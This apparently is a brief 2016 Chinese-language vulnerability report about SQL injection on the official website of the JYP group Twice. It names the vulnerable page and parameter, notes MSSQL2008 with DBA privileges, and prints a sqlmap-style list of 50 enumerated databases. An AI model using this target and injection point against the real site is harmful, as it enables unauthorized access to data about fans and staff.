JYP公司旗下Twice组合官方网站SQL注入漏洞

主站和旁站我TM没找到一个后台,google/字典全都用辣! URL:h-t-t-p://twice.jype.com/notice.asp?idx=86 MSSQL2008/DBA 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 available databases [50]: [*] audition [*] audition_test [*] baekayeon [*] bernardpark [*] chinese.jype.com [*] chinese.jype.comTest [*] day6 [*] english.jype.com [*] english.jype.comTest [*] fans [*] fans_test [*] fifteenand [*] fifteenand_test [*] friends [*] friends_new [*] got7 [*] got7_test [*] gsoul [*] gsoul_test [*] hatfelt [*] jangwooyoung [*] japanese.jype.com [*] japanese.jype.comTest [*] jjproject [*] jypark [*] jypark_test [*] master [*] missa [*] missa_test [*] model [*] msdb [*] PPURIO_MMS [*] PPURIO_MMS2 [*] publishing [*] publishing_test [*] scheduler.jype.com [*] scheduler.jype.comTest [*] sunmi [*] sunmi_test [*] syent [*] tempdb [*] twice [*] twoam [*] twoam_test [*] twopm [*] twopm_test [*] wondergirls [*] www.jype.com [*] www.jype.comTest [*] www.jypkms.com

2016-01-16 · 1 min · 157 words · e4rl